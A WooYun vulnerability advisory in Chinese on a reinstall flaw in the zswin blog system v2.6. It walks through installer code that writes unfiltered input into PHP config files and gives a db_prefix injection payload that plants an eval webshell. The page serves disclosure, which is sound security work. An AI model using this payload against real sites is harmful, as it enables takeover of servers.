当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119025

漏洞标题:zswin博客系统v2.6存在重装漏洞

相关厂商:zswin

漏洞作者: 路人甲

提交时间:2015-06-10 10:54

修复时间:2015-07-25 10:56

公开时间:2015-07-25 10:56

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

zswin博客系统存在重装漏洞,可直接getshell
跟此系统是同一个系统:http://www.wooyun.org/bugs/wooyun-2010-0101083

详细说明:

漏洞文件:
install/install/controller/indexcontroller.class.php
public function index(){
if (is_file('./Data/install.lock')) {
header('Location: ./index.php');
exit;
}
虽然index方法是有判断系统是否安装也用了exit结束,但是这个不是类的初始化函数所以不影响其他方法的使用,下面有一个setconf方法,这个方法会把用户提交过来的数据(数据库连接配置)保存起来,在之后的finish_done方法中有一处write_config函数:
我们来看看write_config函数:
function write_config($config, $auth){
if(is_array($config)){
//读取配置内容
$conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl');
$user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl');
//替换配置项
foreach ($config as $name => $value) {
$conf = str_replace("[{$name}]", $value, $conf);
$user = str_replace("[{$name}]", $value, $user);
}
//写入应用配置文件
file_put_contents('./App/Common/Conf/config.php', $conf);
file_put_contents('./App/User/Conf/config.php', $user);
return '';

}
}
直接写进配置文件。
/App/User/Conf/config.php这个配置文件比较简单所以就用这个把:
<?php
/**
* UCenter客户端配置文件
* 注意:该配置文件请使用常量方式定义
*/
define('UC_APP_ID', 1); //应用ID
define('UC_API_TYPE', 'Model'); //可选值 Model / Service
define('UC_AUTH_KEY', '+%N)Oo,F;89z=0b"dX<JQk:!?]gLpr2Vjn/{6R~c'); //加密KEY
define('UC_DB_DSN', 'mysql://root:[email protected]:3306/zswin'); // 数据库连接,使用Model方式调用API必须配置此项
define('UC_TABLE_PREFIX', 'zs_'); // 数据表前缀,使用Model方式调用API必须配置此项
根据配置文件我们可以提交:
db_prefix=');eval($_POST[wooyun]);//
之后就可以getshell了

漏洞证明:

QQ截图20150608154750.png


780e8757gw1dy2y81dvldj.jpg

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝